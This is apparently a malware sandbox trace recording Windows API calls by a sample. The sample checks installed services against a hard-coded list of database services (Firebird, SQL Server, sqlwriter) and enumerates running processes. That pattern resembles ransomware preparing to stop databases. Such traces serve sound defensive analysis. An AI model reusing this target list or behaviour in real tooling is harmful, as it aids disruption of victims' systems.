	[0068.298] lstrlenW (lpString="MapsBroker") returned 10
	[0068.298] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1
	[0068.298] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1
	[0068.298] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1
	[0068.298] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1
	[0068.298] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1
	[0068.298] lstrlenW (lpString="MpsSvc") returned 6
	[0068.298] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0068.298] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0068.298] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0068.298] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0068.298] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0068.298] lstrlenW (lpString="NcbService") returned 10
	[0068.298] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0068.298] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0068.298] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0068.299] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0068.299] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0068.299] lstrlenW (lpString="netprofm") returned 8
	[0068.299] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0068.299] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0068.299] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0068.299] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0068.299] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0068.299] lstrlenW (lpString="NlaSvc") returned 6
	[0068.299] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0068.299] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0068.299] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0068.299] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0068.299] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0068.299] lstrlenW (lpString="nsi") returned 3
	[0068.299] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0068.299] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0068.299] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0068.299] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0068.299] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0068.299] lstrlenW (lpString="PcaSvc") returned 6
	[0068.299] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0068.299] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0068.299] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0068.299] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0068.299] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0068.299] lstrlenW (lpString="PlugPlay") returned 8
	[0068.299] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0068.299] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0068.299] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0068.299] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0068.299] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0068.299] lstrlenW (lpString="Power") returned 5
	[0068.299] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0068.299] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0068.299] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0068.299] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0068.299] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0068.299] lstrlenW (lpString="ProfSvc") returned 7
	[0068.299] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0068.300] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0068.300] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0068.300] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0068.300] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0068.300] lstrlenW (lpString="RpcEptMapper") returned 12
	[0068.300] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0068.300] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0068.300] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0068.300] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0068.300] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0068.300] lstrlenW (lpString="RpcSs") returned 5
	[0068.300] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0068.300] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0068.300] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0068.300] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0068.300] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0068.300] lstrlenW (lpString="SamSs") returned 5
	[0068.300] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0068.300] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0068.443] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0068.443] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0068.443] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0068.443] lstrlenW (lpString="Schedule") returned 8
	[0068.443] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0068.443] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0068.443] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0068.443] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0068.443] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0068.443] lstrlenW (lpString="SecurityHealthService") returned 21
	[0068.443] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0068.443] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0068.443] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0068.443] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0068.444] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0068.444] lstrlenW (lpString="SENS") returned 4
	[0068.444] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0068.444] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0068.444] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0068.444] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0068.444] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0068.444] lstrlenW (lpString="ShellHWDetection") returned 16
	[0068.444] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0068.444] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0068.444] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0068.444] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0068.444] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0068.444] lstrlenW (lpString="Spooler") returned 7
	[0068.444] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0068.444] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0068.444] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0068.444] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0068.444] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0068.444] lstrlenW (lpString="SSDPSRV") returned 7
	[0068.444] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1
	[0068.444] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1
	[0068.444] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1
	[0068.444] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1
	[0068.444] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1
	[0068.444] lstrlenW (lpString="StateRepository") returned 15
	[0068.444] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0068.444] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0068.444] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0068.444] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0068.444] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0068.444] lstrlenW (lpString="SysMain") returned 7
	[0068.444] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0068.445] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0068.445] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0068.445] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0068.445] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x55ad60 | out: hHeap=0x500000) returned 1
	[0068.445] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2a0
	[0068.455] Process32FirstW (in: hSnapshot=0x2a0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0068.456] Process32NextW (in: hSnapshot=0x2a0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0068.456] lstrlenW (lpString="System") returned 6
	[0068.456] Process32NextW (in: hSnapshot=0x2a0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0068.457] lstrlenW (lpString="smss.exe") returned 8
	[0068.457] Process32NextW (in: hSnapshot=0x2a0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0068.458] lstrlenW (lpString="csrss.exe") returned 9
	[0068.458] Process32NextW (in: hSnapshot=0x2a0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0068.458] lstrlenW (lpString="wininit.exe") returned 11
	[0068.458] Process32NextW (in: hSnapshot=0x2a0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0068.459] lstrlenW (lpString="csrss.exe") returned 9
	[0068.459] Process32NextW (in: hSnapshot=0x2a0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0068.459] lstrlenW (lpString="winlogon.exe") returned 12
	[0068.459] Process32NextW (in: hSnapshot=0x2a0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0068.460] lstrlenW (lpString="services.exe") returned 12
	[0068.460] Process32NextW (in: hSnapshot=0x2a0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0068.460] lstrlenW (lpString="lsass.exe") returned 9
	[0068.460] Process32NextW (in: hSnapshot=0x2a0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0068.461] lstrlenW (lpString="svchost.exe") returned 11
	[0068.461] Process32NextW (in: hSnapshot=0x2a0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0068.461] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0068.461] Process32NextW (in: hSnapshot=0x2a0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0068.462] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0068.462] Process32NextW (in: hSnapshot=0x2a0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0068.462] lstrlenW (lpString="svchost.exe") returned 11
	[0068.462] Process32NextW (in: hSnapshot=0x2a0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0068.463] lstrlenW (lpString="dwm.exe") returned 7
	[0068.463] Process32NextW (in: hSnapshot=0x2a0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x57, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0068.463] lstrlenW (lpString="svchost.exe") returned 11
	[0068.463] Process32NextW (in: hSnapshot=0x2a0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0068.464] lstrlenW (lpString="svchost.exe") returned 11
	[0068.464] Process32NextW (in: hSnapshot=0x2a0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0068.464] lstrlenW (lpString="svchost.exe") returned 11
	[0068.465] Process32NextW (in: hSnapshot=0x2a0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0068.465] lstrlenW (lpString="svchost.exe") returned 11
	[0068.465] Process32NextW (in: hSnapshot=0x2a0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0068.466] lstrlenW (lpString="svchost.exe") returned 11
	[0068.466] Process32NextW (in: hSnapshot=0x2a0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x43c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0068.466] lstrlenW (lpString="svchost.exe") returned 11
	[0068.466] Process32NextW (in: hSnapshot=0x2a0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0068.467] lstrlenW (lpString="svchost.exe") returned 11
	[0068.467] Process32NextW (in: hSnapshot=0x2a0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0068.467] lstrlenW (lpString="svchost.exe") returned 11
	[0068.467] Process32NextW (in: hSnapshot=0x2a0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0068.468] lstrlenW (lpString="svchost.exe") returned 11
	[0068.468] Process32NextW (in: hSnapshot=0x2a0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0068.468] lstrlenW (lpString="svchost.exe") returned 11
	[0068.468] Process32NextW (in: hSnapshot=0x2a0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0068.469] lstrlenW (lpString="spoolsv.exe") returned 11
	[0068.469] Process32NextW (in: hSnapshot=0x2a0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0068.469] lstrlenW (lpString="svchost.exe") returned 11
	[0068.469] Process32NextW (in: hSnapshot=0x2a0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0068.470] lstrlenW (lpString="audiodg.exe") returned 11
	[0068.470] Process32NextW (in: hSnapshot=0x2a0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0068.470] lstrlenW (lpString="sihost.exe") returned 10
	[0068.471] Process32NextW (in: hSnapshot=0x2a0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0068.471] lstrlenW (lpString="svchost.exe") returned 11
	[0068.471] Process32NextW (in: hSnapshot=0x2a0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0068.472] lstrlenW (lpString="taskhostw.exe") returned 13
	[0068.472] Process32NextW (in: hSnapshot=0x2a0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3f, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0068.473] lstrlenW (lpString="explorer.exe") returned 12
	[0068.473] Process32NextW (in: hSnapshot=0x2a0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x828, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0068.473] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0068.473] Process32NextW (in: hSnapshot=0x2a0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0068.474] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0068.474] Process32NextW (in: hSnapshot=0x2a0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0068.474] lstrlenW (lpString="Memory Compression") returned 18
	[0068.474] Process32NextW (in: hSnapshot=0x2a0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0068.475] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0068.475] Process32NextW (in: hSnapshot=0x2a0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0068.475] lstrlenW (lpString="SearchUI.exe") returned 12
	[0068.475] Process32NextW (in: hSnapshot=0x2a0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0068.476] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0068.476] Process32NextW (in: hSnapshot=0x2a0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0068.476] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0068.476] Process32NextW (in: hSnapshot=0x2a0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fur-hold.exe")) returned 1
	[0068.477] lstrlenW (lpString="fur-hold.exe") returned 12
	[0068.477] Process32NextW (in: hSnapshot=0x2a0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="joan packages omissions.exe")) returned 1
	[0068.489] lstrlenW (lpString="joan packages omissions.exe") returned 27
	[0068.489] Process32NextW (in: hSnapshot=0x2a0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x51c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="vat.exe")) returned 1
	[0068.489] lstrlenW (lpString="vat.exe") returned 7
	[0068.489] Process32NextW (in: hSnapshot=0x2a0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="catchuploaded.exe")) returned 1
	[0068.490] lstrlenW (lpString="catchuploaded.exe") returned 17
	[0068.490] Process32NextW (in: hSnapshot=0x2a0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x494, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="hart-changing-bills.exe")) returned 1
	[0068.490] lstrlenW (lpString="hart-changing-bills.exe") returned 23
